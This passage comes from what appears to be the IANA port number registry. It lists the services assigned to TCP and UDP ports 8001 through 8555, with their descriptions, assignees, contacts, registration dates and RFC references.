vcom-tunnel        8001        tcp    VCOM Tunnel                  [Mark_Lewandowski]                                    [Mark_Lewandowski]                                                                                                                          Unauthorized
                                                                                                                                                                                                                                                                     Use on port
                                                                                                                                                                                                                                                                     8001
                                                                                                                                                                                                                                                                     Known
vcom-tunnel        8001        udp    VCOM Tunnel                  [Mark_Lewandowski]                                    [Mark_Lewandowski]                                                                                                                          Unauthorized
                                                                                                                                                                                                                                                                     Use on port
                                                                                                                                                                                                                                                                     8001
teradataordbms     8002        tcp    Teradata ORDBMS              [Curt_Ellmann]                                        [Curt_Ellmann]
teradataordbms     8002        udp    Teradata ORDBMS              [Curt_Ellmann]                                        [Curt_Ellmann]
mcreport           8003        tcp    Mulberry Connect Reporting   [Dave_Stoneham]                                       [Dave_Stoneham]                                           2008-03-10
                                      Service
mcreport           8003        udp    Mulberry Connect Reporting   [Dave_Stoneham]                                       [Dave_Stoneham]                                           2008-03-10
                                      Service
                                      Opensource Evolv Enterprise
p2pevolvenet       8004        tcp    Platform P2P Network Node    [Tris_Puki]                                           [Adrians_Borsteins]                                       2018-01-16
                                      Connection Protocol
                   8004        udp    Reserved
mxi                8005        tcp    MXI Generation II for z/OS   [Rob_Scott]                                           [Rob_Scott]                                               2007-05
mxi                8005        udp    MXI Generation II for z/OS   [Rob_Scott]                                           [Rob_Scott]                                               2007-05
wpl-analytics      8006        tcp    World Programming analytics  [World_Programming_Limited]                           [Thomas_Quarendon]                                        2017-04-04
wpl-disc           8006        udp    World Programming analytics  [World_Programming_Limited]                           [Thomas_Quarendon]                                        2017-04-04
                                      discovery
warppipe           8007        tcp    I/O oriented cluster         [MirrorWeb_LTD]                                       [Jonathan_Kingsley]                                       2017-07-19
                                      computing software
warppipe           8007        udp    I/O oriented cluster         [MirrorWeb_LTD]                                       [Jonathan_Kingsley]                                       2017-07-19
                                      computing software
http-alt           8008        tcp    HTTP Alternate               [James_Gettys]                                        [James_Gettys]
http-alt           8008        udp    HTTP Alternate               [James_Gettys]                                        [James_Gettys]
nvme-disc          8009        tcp    NVMe over Fabrics Discovery  [NVM_Express_Inc]                                     [Amber_Huffman]                                           2018-03-27
                                      Service
                   8009        udp    Reserved
                 8010-8018            Unassigned
qbdb               8019        tcp    QB DB Dynamic Port           [Sridhar_Krishnamurth]                                [Sridhar_Krishnamurth]                                    2008-02-15
qbdb               8019        udp    QB DB Dynamic Port           [Sridhar_Krishnamurth]                                [Sridhar_Krishnamurth]                                    2008-02-15
intu-ec-svcdisc    8020        tcp    Intuit Entitlement Service   [Daniel_C_McGloin]                                    [Daniel_C_McGloin]                                        2005-05
                                      and Discovery
intu-ec-svcdisc    8020        udp    Intuit Entitlement Service   [Daniel_C_McGloin]                                    [Daniel_C_McGloin]                                        2005-05
                                      and Discovery
intu-ec-client     8021        tcp    Intuit Entitlement Client    [Daniel_C_McGloin]                                    [Daniel_C_McGloin]                                        2005-05
intu-ec-client     8021        udp    Intuit Entitlement Client    [Daniel_C_McGloin]                                    [Daniel_C_McGloin]                                        2005-05
oa-system          8022        tcp    oa-system                    [Marie_France_Dubreui]                                [Marie_France_Dubreui]
oa-system          8022        udp    oa-system                    [Marie_France_Dubreui]                                [Marie_France_Dubreui]
arca-api           8023        tcp    ARCATrust vault API          [ARCATrust_SA]                                        [Yacince_Felk]                                            2018-07-05
arca-api           8023        udp    ARCATrust vault API          [ARCATrust_SA]                                        [Yacince_Felk]                                            2018-07-05
                   8024               Unassigned
ca-audit-da        8025        tcp    CA Audit Distribution Agent  [Henning_Smith]                                       [Henning_Smith]                                           2006-07
ca-audit-da        8025        udp    CA Audit Distribution Agent  [Henning_Smith]                                       [Henning_Smith]                                           2006-07
ca-audit-ds        8026        tcp    CA Audit Distribution Server [Henning_Smith]                                       [Henning_Smith]                                           2006-07
ca-audit-ds        8026        udp    CA Audit Distribution Server [Henning_Smith]                                       [Henning_Smith]                                           2006-07
                 8027-8031            Unassigned
pro-ed             8032        tcp    ProEd
pro-ed             8032        udp    ProEd
mindprint          8033        tcp    MindPrint                    [Larry_Tusoni]                                        [Larry_Tusoni]
mindprint          8033        udp    MindPrint                    [Larry_Tusoni]                                        [Larry_Tusoni]
vantronix-mgmt     8034        tcp    .vantronix Management        [Reyk_Floeter]                                        [Reyk_Floeter]                                            2008-02-27
vantronix-mgmt     8034        udp    .vantronix Management        [Reyk_Floeter]                                        [Reyk_Floeter]                                            2008-02-27
                 8035-8039            Unassigned
ampify             8040        tcp    Ampify Messaging Protocol    [Tav_Espian]                                          [Tav_Espian]                                              2010-08-10
ampify             8040        udp    Ampify Messaging Protocol    [Tav_Espian]                                          [Tav_Espian]                                              2010-08-10
enguity-xccetp     8041        tcp    Xcorpeon ASIC Carrier        [Enguity_Technology_Corp]                             [Kraig_Beahn_Jr]                                          2017-06-28
                                      Ethernet Transport
enguity-xccetp     8041        udp    Xcorpeon ASIC Carrier        [Enguity_Technology_Corp]                             [Kraig_Beahn_Jr]                                          2017-06-28
                                      Ethernet Transport
fs-agent           8042        tcp    FireScope Agent              [Matt_Rogers]                                         [Matt_Rogers]                                             2008-10-16
                   8042        udp    Reserved
fs-server          8043        tcp    FireScope Server             [Matt_Rogers]                                         [Matt_Rogers]                                             2008-10-16
                   8043        udp    Reserved
fs-mgmt            8044        tcp    FireScope Management         [Matt_Rogers]                                         [Matt_Rogers]                                             2008-10-16
                                      Interface
                   8044        udp    Reserved
                 8045-8050            Unassigned
rocrail            8051        tcp    Rocrail Client Service       [Rob_Versluis]                                        [Rob_Versluis]                                            2011-05-23
                   8051        udp    Reserved
senomix01          8052        tcp    Senomix Timesheets Server    [Charles_O_Dale]                                      [Charles_O_Dale]                                          2006-07
senomix01          8052        udp    Senomix Timesheets Server    [Charles_O_Dale]                                      [Charles_O_Dale]                                          2006-07
senomix02          8053        tcp    Senomix Timesheets Client [1 [Charles_O_Dale]                                      [Charles_O_Dale]                                          2006-07
                                      year assignment]
senomix02          8053        udp    Senomix Timesheets Client [1 [Charles_O_Dale]                                      [Charles_O_Dale]                                          2006-07
                                      year assignment]
senomix03          8054        tcp    Senomix Timesheets Server [1 [Charles_O_Dale]                                      [Charles_O_Dale]                                          2006-07
                                      year assignment]
senomix03          8054        udp    Senomix Timesheets Server [1 [Charles_O_Dale]                                      [Charles_O_Dale]                                          2006-07
                                      year assignment]
senomix04          8055        tcp    Senomix Timesheets Server [1 [Charles_O_Dale]                                      [Charles_O_Dale]                                          2006-07
                                      year assignment]
senomix04          8055        udp    Senomix Timesheets Server [1 [Charles_O_Dale]                                      [Charles_O_Dale]                                          2006-07
                                      year assignment]
senomix05          8056        tcp    Senomix Timesheets Server [1 [Charles_O_Dale]                                      [Charles_O_Dale]                                          2006-07
                                      year assignment]
senomix05          8056        udp    Senomix Timesheets Server [1 [Charles_O_Dale]                                      [Charles_O_Dale]                                          2006-07
                                      year assignment]
senomix06          8057        tcp    Senomix Timesheets Client [1 [Charles_O_Dale]                                      [Charles_O_Dale]                                          2006-07
                                      year assignment]
senomix06          8057        udp    Senomix Timesheets Client [1 [Charles_O_Dale]                                      [Charles_O_Dale]                                          2006-07
                                      year assignment]
senomix07          8058        tcp    Senomix Timesheets Client [1 [Charles_O_Dale]                                      [Charles_O_Dale]                                          2006-07
                                      year assignment]
senomix07          8058        udp    Senomix Timesheets Client [1 [Charles_O_Dale]                                      [Charles_O_Dale]                                          2006-07
                                      year assignment]
senomix08          8059        tcp    Senomix Timesheets Client [1 [Charles_O_Dale]                                      [Charles_O_Dale]                                          2006-07
                                      year assignment]
senomix08          8059        udp    Senomix Timesheets Client [1 [Charles_O_Dale]                                      [Charles_O_Dale]                                          2006-07
                                      year assignment]
                   8060        tcp    Reserved
aero               8060        udp    Asymmetric Extended Route    [IESG]                                                [IETF_Chair]                                                                        [RFC6706]
                                      Optimization (AERO)
                 8061-8065            Unassigned
toad-bi-appsrvr    8066        tcp    Toad BI Application Server   [Quest_Software_2]                                    [Greg_Cottman_3]                                          2013-04-19
                   8066        udp    Reserved
infi-async         8067        tcp    Infinidat async replication  [INFINIDAT]                                           [Eldar_Kleiner]                                           2015-05-01
                   8067        udp    Reserved
                 8068-8069            Unassigned
                                      Oracle Unified Communication
ucs-isc            8070        tcp    Suite's Indexed Search       [Oracle_Corp]                                         [Bharathi_Sivaramakrishnan]                               2017-02-10
                                      Converter
                   8070        udp    Reserved
                 8071-8073            Unassigned
gadugadu           8074        tcp    Gadu-Gadu                    [Marcin_Gozdalik]                                     [Marcin_Gozdalik]                                         2006-05
gadugadu           8074        udp    Gadu-Gadu                    [Marcin_Gozdalik]                                     [Marcin_Gozdalik]                                         2006-05
                 8075-8076            Unassigned
                                      Mles is a client-server data
                                      distribution protocol
                                      targeted to serve as a
mles               8077        tcp    lightweight and reliable     [Juhamatti_Kuusisaari]                                [Juhamatti_Kuusisaari]                                    2017-02-24
                                      distributed
                                      publish/subscribe database
                                      service.
                   8077        udp    Reserved
                 8078-8079            Unassigned
http-alt           8080        tcp    HTTP Alternate (see port 80) [Stephen_Casner]                                      [Stephen_Casner]
http-alt           8080        udp    HTTP Alternate (see port 80) [Stephen_Casner]                                      [Stephen_Casner]
sunproxyadmin      8081        tcp    Sun Proxy Admin Service      [Arvind_Srinivasan]                                   [Arvind_Srinivasan]                                       2005-08
sunproxyadmin      8081        udp    Sun Proxy Admin Service      [Arvind_Srinivasan]                                   [Arvind_Srinivasan]                                       2005-08
us-cli             8082        tcp    Utilistor (Client)           [Andy_Brewerton]                                      [Andy_Brewerton]                                          2005-08
us-cli             8082        udp    Utilistor (Client)           [Andy_Brewerton]                                      [Andy_Brewerton]                                          2005-08
us-srv             8083        tcp    Utilistor (Server)           [Andy_Brewerton]                                      [Andy_Brewerton]                                          2005-08
us-srv             8083        udp    Utilistor (Server)           [Andy_Brewerton]                                      [Andy_Brewerton]                                          2005-08
                 8084-8085            Unassigned
d-s-n              8086        tcp    Distributed SCADA Networking [Gary_Hampton]                                        [Gary_Hampton]                                            2008-02-27
                                      Rendezvous Port
d-s-n              8086        udp    Distributed SCADA Networking [Gary_Hampton]                                        [Gary_Hampton]                                            2008-02-27
                                      Rendezvous Port
simplifymedia      8087        tcp    Simplify Media SPP Protocol  [Emmanuel_Saint_Loube]                                [Emmanuel_Saint_Loube]                                    2008-08-08
simplifymedia      8087        udp    Simplify Media SPP Protocol  [Emmanuel_Saint_Loube]                                [Emmanuel_Saint_Loube]                                    2008-08-08
radan-http         8088        tcp    Radan HTTP                   [Steve_Hay]                                           [Steve_Hay]                                               2008-06-13
radan-http         8088        udp    Radan HTTP                   [Steve_Hay]                                           [Steve_Hay]                                               2008-06-13
                   8089               Unassigned
opsmessaging       8090        tcp    Vehicle to station messaging [LAN-ACES_Inc]                                        [Robert_Ripberger]                                        2017-02-08
                   8090        udp    Reserved
jamlink            8091        tcp    Jam Link Framework           [Evgeniy_Filatov]                                     [Evgeniy_Filatov]                                         2009-11-25
                   8091        udp    Reserved
                 8092-8096            Unassigned
sac                8097        tcp    SAC Port Id                  [Girish_Bhat]                                         [Girish_Bhat]                                             2006-04
sac                8097        udp    SAC Port Id                  [Girish_Bhat]                                         [Girish_Bhat]                                             2006-04
                 8098-8099            Unassigned
xprint-server      8100        tcp    Xprint Server                [John_McKernan]                                       [John_McKernan]
xprint-server      8100        udp    Xprint Server                [John_McKernan]                                       [John_McKernan]
ldoms-migr         8101        tcp    Logical Domains Migration    [Liam_Merwick]                                        [Liam_Merwick]                                            2009-01-16
                   8101        udp    Reserved
kz-migr            8102        tcp    Oracle Kernel zones          [Oracle_4]                                            [John_Levon]                                              2013-12-24
                                      migration server
                   8102        udp    Reserved
                 8103-8114            Unassigned
mtl8000-matrix     8115        tcp    MTL8000 Matrix               [David_Pinch]                                         [David_Pinch]                                             2002-04
mtl8000-matrix     8115        udp    MTL8000 Matrix               [David_Pinch]                                         [David_Pinch]                                             2002-04
cp-cluster         8116        tcp    Check Point Clustering       [Roni_Moshitzky]                                      [Roni_Moshitzky]
cp-cluster         8116        udp    Check Point Clustering       [Roni_Moshitzky]                                      [Roni_Moshitzky]
                                      Purity replication
purityrpc          8117        tcp    clustering and remote        [Pure_Storage]                                        [Steve_Hodgson]                                           2013-08-13
                                      management
                   8117        udp    Reserved
privoxy            8118        tcp    Privoxy HTTP proxy           [Andreas_Oesterhelt]                                  [Andreas_Oesterhelt]                                      2002-06
privoxy            8118        udp    Privoxy HTTP proxy           [Andreas_Oesterhelt]                                  [Andreas_Oesterhelt]                                      2002-06
                 8119-8120            Unassigned
apollo-data        8121        tcp    Apollo Data Port             [Anthony_Carrabino]                                   [Anthony_Carrabino]                                       2003-08
apollo-data        8121        udp    Apollo Data Port             [Anthony_Carrabino]                                   [Anthony_Carrabino]                                       2003-08
apollo-admin       8122        tcp    Apollo Admin Port            [Anthony_Carrabino]                                   [Anthony_Carrabino]                                       2003-08
apollo-admin       8122        udp    Apollo Admin Port            [Anthony_Carrabino]                                   [Anthony_Carrabino]                                       2003-08
                 8123-8127            Unassigned
paycash-online     8128        tcp    PayCash Online Protocol      [MegaZone]                                            [MegaZone]                                                2005-08
paycash-online     8128        udp    PayCash Online Protocol      [MegaZone]                                            [MegaZone]                                                2005-08
paycash-wbp        8129        tcp    PayCash Wallet-Browser       [MegaZone]                                            [MegaZone]                                                2005-08
paycash-wbp        8129        udp    PayCash Wallet-Browser       [MegaZone]                                            [MegaZone]                                                2005-08
indigo-vrmi        8130        tcp    INDIGO-VRMI                  [Colin_Caughie]                                       [Colin_Caughie]
indigo-vrmi        8130        udp    INDIGO-VRMI                  [Colin_Caughie]                                       [Colin_Caughie]
indigo-vbcp        8131        tcp    INDIGO-VBCP                  [Colin_Caughie]                                       [Colin_Caughie]
indigo-vbcp        8131        udp    INDIGO-VBCP                  [Colin_Caughie]                                       [Colin_Caughie]
dbabble            8132        tcp    dbabble                      [Chris_Pugmire]                                       [Chris_Pugmire]
dbabble            8132        udp    dbabble                      [Chris_Pugmire]                                       [Chris_Pugmire]
                 8133-8139            Unassigned
puppet             8140        tcp    The Puppet master service    [Puppet]                                              [Charles_Dunbar]                                          2014-09-18
                   8140        udp    Reserved
                 8141-8147            Unassigned
isdd               8148        tcp    i-SDD file transfer          [Frank_Waarsenburg]                                   [Frank_Waarsenburg]                                       2004-11
isdd               8148        udp    i-SDD file transfer          [Frank_Waarsenburg]                                   [Frank_Waarsenburg]                                       2004-11
                   8149        tcp    Reserved
eor-game           8149        udp    Edge of Reality game data    [Sky_Schulz]                                          [Sky_Schulz]                                              2011-05-09
                 8150-8152            Unassigned
quantastor         8153        tcp    QuantaStor Management        [OS_NEXUS]                                            [Steven_Umbehocker]                                       2012-09-21
                                      Interface
                   8153        udp    Reserved
                 8154-8159            Unassigned
patrol             8160        tcp    Patrol                       [Portnoy_Boxman]                                      [Portnoy_Boxman]
patrol             8160        udp    Patrol                       [Portnoy_Boxman]                                      [Portnoy_Boxman]
patrol-snmp        8161        tcp    Patrol SNMP                  [Portnoy_Boxman]                                      [Portnoy_Boxman]
patrol-snmp        8161        udp    Patrol SNMP                  [Portnoy_Boxman]                                      [Portnoy_Boxman]
lpar2rrd           8162        tcp    LPAR2RRD client server       [LPAR2RRD_project]                                    [Pavel_Hampl]                                             2013-08-14
                                      communication
                   8162        udp    Reserved
                 8163-8180            Unassigned
intermapper        8181        tcp    Intermapper network          [William_Fisher]                                      [William_Fisher]                                          2011-05-09
                                      management system
                   8181        udp    Reserved
vmware-fdm         8182        tcp    VMware Fault Domain Manager  [Ron_Passerini]                                       [Ron_Passerini]                                           2010-04-27
vmware-fdm         8182        udp    VMware Fault Domain Manager  [Ron_Passerini]                                       [Ron_Passerini]                                           2010-04-27
proremote          8183        tcp    ProRemote                    [Alex_Lelievre]                                       [Alex_Lelievre]                                           2009-08-18
                   8183        udp    Reserved
itach              8184        tcp    Remote iTach Connection      [Barend_Jacobus_van_d]                                [Barend_Jacobus_van_d]                                    2010-04-27
itach              8184        udp    Remote iTach Connection      [Barend_Jacobus_van_d]                                [Barend_Jacobus_van_d]                                    2010-04-27
                 8185-8189            Unassigned
gcp-rphy           8190        tcp    Generic control plane for    [CableLabs]                                           [Karthik_Sundaresan]                                      2015-11-24
                                      RPHY
                   8190        udp    Reserved
limnerpressure     8191        tcp    Limner Pressure              [Aaron_Kleinsteiber]                                  [Aaron_Kleinsteiber]                                      2014-01-16
                   8191        udp    Reserved
spytechphone       8192        tcp    SpyTech Phone Service        [Bill_Kay]                                            [Bill_Kay]                                                2006-04
spytechphone       8192        udp    SpyTech Phone Service        [Bill_Kay]                                            [Bill_Kay]                                                2006-04
                   8193               Unassigned
blp1               8194        tcp    Bloomberg data API           [Albert_Hou]                                          [Albert_Hou]                                              2006-05
blp1               8194        udp    Bloomberg data API           [Albert_Hou]                                          [Albert_Hou]                                              2006-05
blp2               8195        tcp    Bloomberg feed               [Albert_Hou]                                          [Albert_Hou]                                              2006-05
blp2               8195        udp    Bloomberg feed               [Albert_Hou]                                          [Albert_Hou]                                              2006-05
                 8196-8198            Unassigned
vvr-data           8199        tcp    VVR DATA                     [Ming_Xu]                                             [Ming_Xu]
vvr-data           8199        udp    VVR DATA                     [Ming_Xu]                                             [Ming_Xu]
trivnet1           8200        tcp    TRIVNET                      [Saar_Wilf]                                           [Saar_Wilf]
trivnet1           8200        udp    TRIVNET                      [Saar_Wilf]                                           [Saar_Wilf]
trivnet2           8201        tcp    TRIVNET                      [Saar_Wilf]                                           [Saar_Wilf]
trivnet2           8201        udp    TRIVNET                      [Saar_Wilf]                                           [Saar_Wilf]
                   8202        tcp    Reserved
aesop              8202        udp    Audio+Ethernet Standard Open [POWERSOFT_SRL]                                       [Paolo_Desii][Claudio_Lastrucci]                          2012-01-03
                                      Protocol
                 8203-8203            Unassigned
lm-perfworks       8204        tcp    LM Perfworks                 [Chris_Flynn]                                         [Chris_Flynn]
lm-perfworks       8204        udp    LM Perfworks                 [Chris_Flynn]                                         [Chris_Flynn]
lm-instmgr         8205        tcp    LM Instmgr                   [Chris_Flynn]                                         [Chris_Flynn]
lm-instmgr         8205        udp    LM Instmgr                   [Chris_Flynn]                                         [Chris_Flynn]
lm-dta             8206        tcp    LM Dta                       [Chris_Flynn]                                         [Chris_Flynn]
lm-dta             8206        udp    LM Dta                       [Chris_Flynn]                                         [Chris_Flynn]
lm-sserver         8207        tcp    LM SServer                   [Chris_Flynn]                                         [Chris_Flynn]
lm-sserver         8207        udp    LM SServer                   [Chris_Flynn]                                         [Chris_Flynn]
lm-webwatcher      8208        tcp    LM Webwatcher                [Chris_Flynn]                                         [Chris_Flynn]
lm-webwatcher      8208        udp    LM Webwatcher                [Chris_Flynn]                                         [Chris_Flynn]
                 8209-8210            Unassigned
                   8211        tcp    Reserved
aruba-papi         8211        udp    Aruba Networks AP management [Aruba_Networks]                                      [Jon_Green]                                               2018-10-04
                 8212-8229            Unassigned
rexecj             8230        tcp    RexecJ Server                [Curtiss_Howard]                                      [Curtiss_Howard]                                          2004-11
rexecj             8230        udp    RexecJ Server                [Curtiss_Howard]                                      [Curtiss_Howard]                                          2004-11
                   8231        tcp    Reserved
hncp-udp-port      8231        udp    HNCP                         [IESG]                                                [IETF_Chair]                                              2016-01-13                [RFC7788]
                   8232        tcp    Reserved
hncp-dtls-port     8232        udp    HNCP over DTLS               [IESG]                                                [IETF_Chair]                                              2016-01-13                [RFC7788]
                 8233-8242            Unassigned
synapse-nhttps     8243        tcp    Synapse Non Blocking HTTPS   [Ruwan_Linton]                                        [Ruwan_Linton]                                            2008-07-10
synapse-nhttps     8243        udp    Synapse Non Blocking HTTPS   [Ruwan_Linton]                                        [Ruwan_Linton]                                            2008-07-10
                 8244-8265            Unassigned
                   8266        tcp    Reserved
espeasy-p2p        8266        udp    ESPeasy peer-2-peer          [ESPeasy]                                             [Gijs_Noorlander]                                         2018-11-28
                                      communication
                 8267-8269            Unassigned
robot-remote       8270        tcp    Robot Framework Remote       [Robot_Framework_Foundation]                          [Chris_Newman]                                            2017-01-26
                                      Library Interface
                   8270        udp    Reserved
                 8271-8275            Unassigned
pando-sec          8276        tcp    Pando Media Controlled       [Laird_Popkin]                                        [Laird_Popkin]                                            2008-02-27
                                      Distribution
pando-sec          8276        udp    Pando Media Controlled       [Laird_Popkin]                                        [Laird_Popkin]                                            2008-02-27
                                      Distribution
                 8277-8279            Unassigned
synapse-nhttp      8280        tcp    Synapse Non Blocking HTTP    [Ruwan_Linton]                                        [Ruwan_Linton]                                            2008-06-05
synapse-nhttp      8280        udp    Synapse Non Blocking HTTP    [Ruwan_Linton]                                        [Ruwan_Linton]                                            2008-06-05
                   8281               Unassigned
libelle            8282        tcp    Libelle EnterpriseBus        [Libelle_AG]                                          [Hans-Joachim_Krueger]                                    2016-02-17
libelle-disc       8282        udp    Libelle EnterpriseBus        [Libelle_AG]                                          [Hans-Joachim_Krueger]                                    2016-02-17
                                      discovery
                   8282       sctp    Reserved
                   8282       dccp    Reserved
                 8283-8291            Unassigned
blp3               8292        tcp    Bloomberg professional       [Albert_Hou]                                          [Albert_Hou]                                              2006-05
blp3               8292        udp    Bloomberg professional       [Albert_Hou]                                          [Albert_Hou]                                              2006-05
hiperscan-id       8293        tcp    Hiperscan Identification     [Thomas_Klose]                                        [Thomas_Klose]                                            2009-12-15
                                      Service
                   8293        udp    Reserved
blp4               8294        tcp    Bloomberg intelligent client [Albert_Hou]                                          [Albert_Hou]                                              2006-05
blp4               8294        udp    Bloomberg intelligent client [Albert_Hou]                                          [Albert_Hou]                                              2006-05
                 8295-8299            Unassigned
tmi                8300        tcp    Transport Management         [Steve_Kneizys]                                       [Steve_Kneizys]                                           2006-11
                                      Interface
tmi                8300        udp    Transport Management         [Steve_Kneizys]                                       [Steve_Kneizys]                                           2006-11
                                      Interface
amberon            8301        tcp    Amberon PPC/PPS              [Ronald_Snyder]                                       [Ronald_Snyder]                                           2006-03
amberon            8301        udp    Amberon PPC/PPS              [Ronald_Snyder]                                       [Ronald_Snyder]                                           2006-03
                 8302-8312            Unassigned
hub-open-net       8313        tcp    Hub Open Network             [Grexie]                                              [Tim_Behrsin]                                             2012-06-13                                                                                     Defined TXT keys: _hub._tcp.host.example.com
                   8313        udp    Reserved
                 8314-8319            Unassigned
tnp-discover       8320        tcp    Thin(ium) Network Protocol   [Aly_Orady]                                           [Aly_Orady]                                               2007-08-07
tnp-discover       8320        udp    Thin(ium) Network Protocol   [Aly_Orady]                                           [Aly_Orady]                                               2007-08-07
tnp                8321        tcp    Thin(ium) Network Protocol   [Aly_Orady]                                           [Aly_Orady]                                               2007-08-07
tnp                8321        udp    Thin(ium) Network Protocol   [Aly_Orady]                                           [Aly_Orady]                                               2007-08-07
garmin-marine      8322        tcp    Garmin Marine                [Garmin_International_Inc]                            [Nathan_Karstens]                                         2015-07-23
garmin-marine      8322        udp    Garmin Marine                [Garmin_International_Inc]                            [Nathan_Karstens]                                         2015-07-23
                 8323-8350            Unassigned
server-find        8351        tcp    Server Find                  [Chris_Brown]                                         [Chris_Brown]
server-find        8351        udp    Server Find                  [Chris_Brown]                                         [Chris_Brown]
                 8352-8375            Unassigned
cruise-enum        8376        tcp    Cruise ENUM                  [Steve_Husak]                                         [Steve_Husak]
cruise-enum        8376        udp    Cruise ENUM                  [Steve_Husak]                                         [Steve_Husak]
cruise-swroute     8377        tcp    Cruise SWROUTE               [Steve_Husak]                                         [Steve_Husak]
cruise-swroute     8377        udp    Cruise SWROUTE               [Steve_Husak]                                         [Steve_Husak]
cruise-config      8378        tcp    Cruise CONFIG                [Steve_Husak]                                         [Steve_Husak]
cruise-config      8378        udp    Cruise CONFIG                [Steve_Husak]                                         [Steve_Husak]
cruise-diags       8379        tcp    Cruise DIAGS                 [Steve_Husak]                                         [Steve_Husak]
cruise-diags       8379        udp    Cruise DIAGS                 [Steve_Husak]                                         [Steve_Husak]
cruise-update      8380        tcp    Cruise UPDATE                [Steve_Husak]                                         [Steve_Husak]
cruise-update      8380        udp    Cruise UPDATE                [Steve_Husak]                                         [Steve_Husak]
                 8381-8382            Unassigned
m2mservices        8383        tcp    M2m Services                 [Carlos_Arteaga_2]                                    [Carlos_Arteaga_2]                                        2004-11
m2mservices        8383        udp    M2m Services                 [Carlos_Arteaga_2]                                    [Carlos_Arteaga_2]                                        2004-11
marathontp         8384        udp    Marathon Transport Protocol  [Inertia_Systemes]                                    [Jasmin_Blouin]                                           2015-06-11
                   8384        tcp    Reserved
                 8385-8399            Unassigned
cvd                8400        tcp    cvd                          [Aaron_Bilbrey]                                       [Aaron_Bilbrey]
cvd                8400        udp    cvd                          [Aaron_Bilbrey]                                       [Aaron_Bilbrey]
sabarsd            8401        tcp    sabarsd                      [Aaron_Bilbrey]                                       [Aaron_Bilbrey]
sabarsd            8401        udp    sabarsd                      [Aaron_Bilbrey]                                       [Aaron_Bilbrey]
abarsd             8402        tcp    abarsd                       [Aaron_Bilbrey]                                       [Aaron_Bilbrey]
abarsd             8402        udp    abarsd                       [Aaron_Bilbrey]                                       [Aaron_Bilbrey]
admind             8403        tcp    admind                       [Aaron_Bilbrey]                                       [Aaron_Bilbrey]
admind             8403        udp    admind                       [Aaron_Bilbrey]                                       [Aaron_Bilbrey]
svcloud            8404        tcp    SuperVault Cloud             [Nine_Technology_LLC]                                 [Alex_Stoev]                                              2009-09-14   2011-08-01
                   8404        udp    Reserved
svbackup           8405        tcp    SuperVault Backup            [Nine_Technology_LLC]                                 [Alex_Stoev]                                              2009-09-14   2011-08-01
                   8405        udp    Reserved
                 8406-8414            Unassigned
dlpx-sp            8415        tcp    Delphix Session Protocol     [Delphix_Corp]                                        [Peng_Dai]                                                2012-11-01
                   8415        udp    Reserved
espeech            8416        tcp    eSpeech Session Protocol     [Scott_Tarone]                                        [Scott_Tarone]                                            2002-11
espeech            8416        udp    eSpeech Session Protocol     [Scott_Tarone]                                        [Scott_Tarone]                                            2002-11
espeech-rtp        8417        tcp    eSpeech RTP Protocol         [Scott_Tarone]                                        [Scott_Tarone]                                            2003-04
espeech-rtp        8417        udp    eSpeech RTP Protocol         [Scott_Tarone]                                        [Scott_Tarone]                                            2003-04
                 8418-8422            Unassigned
aritts             8423        tcp    Aristech text-to-speech      [Aristech_GmbH]                                       [Mirko_Hering]                                            2017-03-30
                                      server
                   8423        udp    Reserved
                 8424-8441            Unassigned
cybro-a-bus        8442        tcp    CyBro A-bus Protocol         [Damir_Skrjanec]                                      [Damir_Skrjanec]                                          2007-05
cybro-a-bus        8442        udp    CyBro A-bus Protocol         [Damir_Skrjanec]                                      [Damir_Skrjanec]                                          2007-05
pcsync-https       8443        tcp    PCsync HTTPS
pcsync-https       8443        udp    PCsync HTTPS
pcsync-http        8444        tcp    PCsync HTTP                  [Katy_Lynn_McCullough]                                [Katy_Lynn_McCullough]
pcsync-http        8444        udp    PCsync HTTP                  [Katy_Lynn_McCullough]                                [Katy_Lynn_McCullough]
copy               8445        tcp    Port for copy peer sync      [Copy]                                                [Jason_Dictos]                                            2012-09-19
                                      feature
copy-disc          8445        udp    Port for copy discovery      [Copy]                                                [Jason_Dictos]                                            2012-09-19
                 8446-8449            Unassigned
npmp               8450        tcp    npmp                         [Ian_Chard]                                           [Ian_Chard]
npmp               8450        udp    npmp                         [Ian_Chard]                                           [Ian_Chard]
                 8451-8456            Unassigned
nexentamv          8457        tcp    Nexenta Management GUI       [Nexenta]                                             [Andrew_Galloway]                                         2012-12-07
                   8457        udp    Reserved
                 8458-8469            Unassigned
cisco-avp          8470        tcp    Cisco Address Validation     [Cullen_Jennings]                                     [Cullen_Jennings]                                         2009-02-13
                                      Protocol
                   8470        udp    Reserved
pim-port           8471        tcp    PIM over Reliable Transport  [IESG]                                                [IETF_Chair]                                              2008-08-21                [RFC6559]
pim-port           8471       sctp    PIM over Reliable Transport  [IESG]                                                [IETF_Chair]                                              2008-08-21                [RFC6559]
                   8471        udp    Reserved
otv                8472        tcp    Overlay Transport            [Dino_Farinacci]                                      [Dino_Farinacci]                                          2008-01-07
                                      Virtualization (OTV)
otv                8472        udp    Overlay Transport            [Dino_Farinacci]                                      [Dino_Farinacci]                                          2008-01-07
                                      Virtualization (OTV)
vp2p               8473        tcp    Virtual Point to Point       [Jerome_Grimbert]                                     [Jerome_Grimbert]
vp2p               8473        udp    Virtual Point to Point       [Jerome_Grimbert]                                     [Jerome_Grimbert]
noteshare          8474        tcp    AquaMinds NoteShare          [Michael_McNabb]                                      [Michael_McNabb]                                          2005-10
noteshare          8474        udp    AquaMinds NoteShare          [Michael_McNabb]                                      [Michael_McNabb]                                          2005-10
                 8475-8499            Unassigned
fmtp               8500        tcp    Flight Message Transfer      [Eivan_Cerasi]                                        [Eivan_Cerasi]                                            2003-12
                                      Protocol
fmtp               8500        udp    Flight Message Transfer      [Eivan_Cerasi]                                        [Eivan_Cerasi]                                            2003-12
                                      Protocol
cmtp-mgt           8501        tcp    CYTEL Message Transfer
                                      Management
cmtp-av            8501        udp    CYTEL Message Transfer Audio [Frank_Jakel]                                         [Frank_Jakel]                                             2011-04-29
                                      and Video
ftnmtp             8502        tcp    FTN Message Transfer         [Yuri_Myakotin]                                       [Yuri_Myakotin]                                           2014-01-07
                                      Protocol
                   8502        udp    Reserved
lsp-self-ping      8503        udp    MPLS LSP Self-Ping           [IESG]                                                [IETF_Chair]                                              2015-06-11   2016-02-01   [RFC7746]
                   8503        tcp    Reserved
                 8504-8553            Unassigned
rtsp-alt           8554        tcp    RTSP Alternate (see port     [Stephen_Casner_2]                                    [Stephen_Casner_2]
                                      554)
rtsp-alt           8554        udp    RTSP Alternate (see port     [Stephen_Casner_2]                                    [Stephen_Casner_2]
                                      554)
d-fence            8555        tcp    SYMAX D-FENCE                [Thomas_Geisel]                                       [Thomas_Geisel]                                           2003-01
